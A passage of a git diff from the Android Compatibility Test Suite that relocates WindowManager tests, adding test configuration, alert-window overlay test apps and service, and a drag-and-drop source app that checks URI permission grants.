+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS WindowManager test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework"/>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true"/>
+ <option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
+ <option name="test-file-name" value="CtsDragAndDropSourceApp.apk"/>
+ <option name="test-file-name" value="CtsDragAndDropTargetApp.apk"/>
+ <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk"/>
+ <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk"/>
+ <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk"/>
+ <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk"/>
+ <option name="test-file-name" value="CtsAlertWindowService.apk"/>
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.server.cts.wm"/>
+ <option name="runtime-hint" value="8m"/>
+ </test>
+
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/tests/framework/base/windowmanager/alertwindowapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
rename to tests/framework/base/windowmanager/alertwindowapp/Android.mk
diff --git a/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
new file mode 100755
index 0000000..446e2fa
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.wm.alertwindowapp">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:label="CtsAlertWindow">
+ <activity android:name=".AlertWindowTestActivity"
+ android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
+
diff --git a/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java b/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
new file mode 100644
index 0000000..2185dd6
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowapp;
+
+import android.os.Bundle;
+import android.server.wm.alertwindowappsdk25.AlertWindowTestBaseActivity;
+
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+
+public class AlertWindowTestActivity extends AlertWindowTestBaseActivity {
+ private static final int[] ALERT_WINDOW_TYPES = {
+ TYPE_PHONE,
+ TYPE_PRIORITY_PHONE,
+ TYPE_SYSTEM_ALERT,
+ TYPE_SYSTEM_ERROR,
+ TYPE_SYSTEM_OVERLAY,
+ TYPE_APPLICATION_OVERLAY
+ };
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ createAllAlertWindows(getPackageName());
+ }
+
+ @Override
+ protected int[] getAlertWindowTypes() {
+ return ALERT_WINDOW_TYPES;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
rename to tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
new file mode 100755
index 0000000..0ac1c91
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.alertwindowappsdk25">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:label="CtsAlertWindowSdk25">
+ <activity android:name=".AlertWindowTestActivitySdk25"
+ android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
+
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
new file mode 100644
index 0000000..47057f1
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowappsdk25;
+
+import android.os.Bundle;
+
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+
+public class AlertWindowTestActivitySdk25 extends AlertWindowTestBaseActivity {
+ private static final int[] ALERT_WINDOW_TYPES = {
+ TYPE_PHONE,
+ TYPE_PRIORITY_PHONE,
+ TYPE_SYSTEM_ALERT,
+ TYPE_SYSTEM_ERROR,
+ TYPE_SYSTEM_OVERLAY
+ };
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ createAllAlertWindows(getPackageName());
+ }
+
+ @Override
+ protected int[] getAlertWindowTypes() {
+ return ALERT_WINDOW_TYPES;
+ }
+}
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
new file mode 100644
index 0000000..021b886
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowappsdk25;
+
+import android.app.Activity;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.util.Log;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+
+public abstract class AlertWindowTestBaseActivity extends Activity {
+
+ protected void createAllAlertWindows(String windowName) {
+ final int[] alertWindowTypes = getAlertWindowTypes();
+ for (int type : alertWindowTypes) {
+ try {
+ createAlertWindow(type, windowName);
+ } catch (Exception e) {
+ Log.e("AlertWindowTestBaseActivity", "Can't create type=" + type, e);
+ }
+ }
+ }
+
+ protected void createAlertWindow(int type) {
+ createAlertWindow(type, getPackageName());
+ }
+
+ protected void createAlertWindow(int type, String windowName) {
+ if (!isSystemAlertWindowType(type)) {
+ throw new IllegalArgumentException("Well...you are not an alert window type=" + type);
+ }
+
+ final Point size = new Point();
+ final WindowManager wm = getSystemService(WindowManager.class);
+ wm.getDefaultDisplay().getSize(size);
+
+ WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+ type, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
+ params.width = size.x / 3;
+ params.height = size.y / 3;
+ params.gravity = TOP | LEFT;
+ params.setTitle(windowName);
+
+ final TextView view = new TextView(this);
+ view.setText(windowName + " type=" + type);
+ view.setBackgroundColor(Color.RED);
+ wm.addView(view, params);
+ }
+
+ private boolean isSystemAlertWindowType(int type) {
+ final int[] alertWindowTypes = getAlertWindowTypes();
+ for (int current : alertWindowTypes) {
+ if (current == type) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ protected abstract int[] getAlertWindowTypes();
+}
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.mk b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
new file mode 100644
index 0000000..c012a65
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsAlertWindowService
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
new file mode 100644
index 0000000..21b6f7c
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.alertwindowservice">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application>
+ <service android:name=".AlertWindowService"
+ android:exported="true"/>
+ </application>
+</manifest>
diff --git a/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java b/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
new file mode 100644
index 0000000..d531bbd
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowservice;
+
+import static android.graphics.Color.BLUE;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Point;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import java.util.LinkedList;
+
+/** Service for creating and managing alert windows. */
+public final class AlertWindowService extends Service {
+
+ private static final String TAG = "AlertWindowService";
+ private static final boolean DEBUG = false;
+
+ public static final String PACKAGE_NAME = "android.server.wm.alertwindowservice";
+ public static final String EXTRA_MESSENGER = "messenger";
+
+ public static final int MSG_ADD_ALERT_WINDOW = 1;
+ public static final int MSG_REMOVE_ALERT_WINDOW = 2;
+ public static final int MSG_REMOVE_ALL_ALERT_WINDOWS = 3;
+
+ public static final int MSG_ON_ALERT_WINDOW_ADDED = 4;
+ public static final int MSG_ON_ALERT_WINDOW_REMOVED = 5;
+
+ private LinkedList<View> mAlertWindows = new LinkedList<>();
+
+ private Messenger mOutgoingMessenger = null;
+ private final Messenger mIncomingMessenger = new Messenger(new IncomingHandler());
+
+ private class IncomingHandler extends Handler {
+ @Override
+ public void handleMessage(Message msg) {
+ switch (msg.what) {
+ case MSG_ADD_ALERT_WINDOW:
+ addAlertWindow();
+ break;
+ case MSG_REMOVE_ALERT_WINDOW:
+ removeAlertWindow();
+ break;
+ case MSG_REMOVE_ALL_ALERT_WINDOWS:
+ removeAllAlertWindows();
+ break;
+ default:
+ super.handleMessage(msg);
+ }
+ }
+ }
+
+ private void addAlertWindow() {
+ final Point size = new Point();
+ final WindowManager wm = getSystemService(WindowManager.class);
+ wm.getDefaultDisplay().getSize(size);
+
+ final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+ TYPE_APPLICATION_OVERLAY,
+ FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
+ params.width = size.x / 3;
+ params.height = size.y / 3;
+ params.gravity = TOP | LEFT;
+
+ final TextView view = new TextView(this);
+ view.setText("AlertWindowService" + mAlertWindows.size());
+ view.setBackgroundColor(BLUE);
+ wm.addView(view, params);
+ mAlertWindows.add(view);
+
+ if (DEBUG) Log.e(TAG, "addAlertWindow " + mAlertWindows.size());
+ if (mOutgoingMessenger != null) {
+ try {
+ mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_ADDED));
+ } catch (RemoteException e) {
+
+ }
+ }
+ }
+
+ private void removeAlertWindow() {
+ if (mAlertWindows.size() == 0) {
+ return;
+ }
+ final WindowManager wm = getSystemService(WindowManager.class);
+ wm.removeView(mAlertWindows.pop());
+
+ if (DEBUG) Log.e(TAG, "removeAlertWindow " + mAlertWindows.size());
+ if (mOutgoingMessenger != null) {
+ try {
+ mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_REMOVED));
+ } catch (RemoteException e) {
+
+ }
+ }
+ }
+
+ private void removeAllAlertWindows() {
+ while (mAlertWindows.size() > 0) {
+ removeAlertWindow();
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ if (DEBUG) Log.e(TAG, "onBind");
+ mOutgoingMessenger = intent.getParcelableExtra(EXTRA_MESSENGER);
+ return mIncomingMessenger.getBinder();
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ if (DEBUG) Log.e(TAG, "onUnbind");
+ removeAllAlertWindows();
+ return super.onUnbind(intent);
+ }
+}
diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.mk b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
new file mode 100644
index 0000000..7cfd03f
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/wm/TestLogClient.java
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
new file mode 100644
index 0000000..4c8f0bb
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.dndsourceapp">
+ <application android:label="CtsDnDSource">
+ <activity android:name="android.server.wm.dndsourceapp.DragSource">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <provider android:name="android.server.wm.dndsourceapp.DragSourceContentProvider"
+ android:authorities="android.server.wm.dndsource.contentprovider"
+ android:grantUriPermissions="true"/>
+ </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml b/tests/framework/base/windowmanager/dndsourceapp/res/layout/source_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml
rename to tests/framework/base/windowmanager/dndsourceapp/res/layout/source_activity.xml
diff --git a/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
new file mode 100644
index 0000000..9c7ed7b
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndsourceapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.FileUriExposedException;
+import android.os.PersistableBundle;
+import android.server.wm.TestLogClient;
+import android.view.MotionEvent;
+import android.view.View;
+import android.widget.TextView;
+
+import java.io.File;
+
+public class DragSource extends Activity{
+ private static final String RESULT_KEY_START_DRAG = "START_DRAG";
+ private static final String RESULT_KEY_DETAILS = "DETAILS";
+ private static final String RESULT_OK = "OK";
+ private static final String RESULT_EXCEPTION = "Exception";
+
+ private static final String URI_PREFIX =
+ "content://" + DragSourceContentProvider.AUTHORITY + "/data";
+
+ private static final String MAGIC_VALUE = "42";
+ private static final long TIMEOUT_CANCEL = 150;
+
+ private TextView mTextView;
+ private TestLogClient mLogClient;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+
+ View view = getLayoutInflater().inflate(R.layout.source_activity, null);
+ setContentView(view);
+
+ final Uri plainUri = Uri.parse(URI_PREFIX + "/" + MAGIC_VALUE);
+
+ setUpDragSource("disallow_global", plainUri, 0);
+ setUpDragSource("cancel_soon", plainUri, View.DRAG_FLAG_GLOBAL);
+
+ setUpDragSource("grant_none", plainUri, View.DRAG_FLAG_GLOBAL);
+ setUpDragSource("grant_read", plainUri,
+ View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
+ setUpDragSource("grant_write", plainUri,
+ View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_WRITE);
+ setUpDragSource("grant_read_persistable", plainUri,
+ View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
+ View.DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION);
+
+ final Uri prefixUri = Uri.parse(URI_PREFIX);
+
+ setUpDragSource("grant_read_prefix", prefixUri,
+ View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
+ View.DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION);
+ setUpDragSource("grant_read_noprefix", prefixUri,
+ View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
+
+ final Uri fileUri = Uri.fromFile(new File("/sdcard/sample.jpg"));
+
+ setUpDragSource("file_local", fileUri, 0);
+ setUpDragSource("file_global", fileUri, View.DRAG_FLAG_GLOBAL);
+ }
+
+ private void setUpDragSource(String mode, final Uri uri, final int flags) {
+ if (!mode.equals(getIntent().getStringExtra("mode"))) {
+ return;
+ }
+ mTextView = (TextView) findViewById(R.id.drag_source);
+ mTextView.setText(mode);
+ mTextView.setOnTouchListener(new View.OnTouchListener() {
+ @Override
+ public boolean onTouch(View v, MotionEvent event) {
+ if (event.getAction() != MotionEvent.ACTION_DOWN) {
+ return false;
+ }
+ try {
+ final ClipDescription clipDescription = new ClipDescription("", new String[] {
+ ClipDescription.MIMETYPE_TEXT_URILIST });
+ PersistableBundle extras = new PersistableBundle(1);
+ extras.putString("extraKey", "extraValue");
+ clipDescription.setExtras(extras);
+ final ClipData clipData = new ClipData(clipDescription, new ClipData.Item(uri));
+ v.startDragAndDrop(
+ clipData,
+ new View.DragShadowBuilder(v),
+ null,
+ flags);
+ logResult(RESULT_KEY_START_DRAG, RESULT_OK);
+ } catch (FileUriExposedException e) {
+ logResult(RESULT_KEY_DETAILS, e.getMessage());
+ logResult(RESULT_KEY_START_DRAG, RESULT_EXCEPTION);
+ }
+ if (mode.equals("cancel_soon")) {
+ new Handler().postDelayed(new Runnable() {
+ @Override
+ public void run() {
+ v.cancelDragAndDrop();
+ }
+ }, TIMEOUT_CANCEL);
+ }
+ return true;
+ }
+ });
+ }
+
+ private void logResult(String key, String value) {
+ mLogClient.record(key, value);
+ mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
+ }
+}
diff --git a/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
new file mode 100644
index 0000000..1ec1e58
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndsourceapp;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class DragSourceContentProvider extends ContentProvider {
+
+ public static final String AUTHORITY = "android.server.wm.dndsource.contentprovider";
+
+ private static final UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+
+ private static final int URI_DATA = 1;
+
+ static {
+ sMatcher.addURI(AUTHORITY, "data/#", URI_DATA);
+ }
+
+ @Override
+ public boolean onCreate() {
+ return false;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ switch (sMatcher.match(uri)) {
+ case URI_DATA:
+ return new DragSourceCursor(uri.getLastPathSegment());
+ }
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
new file mode 100644
index 0000000..468842f
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
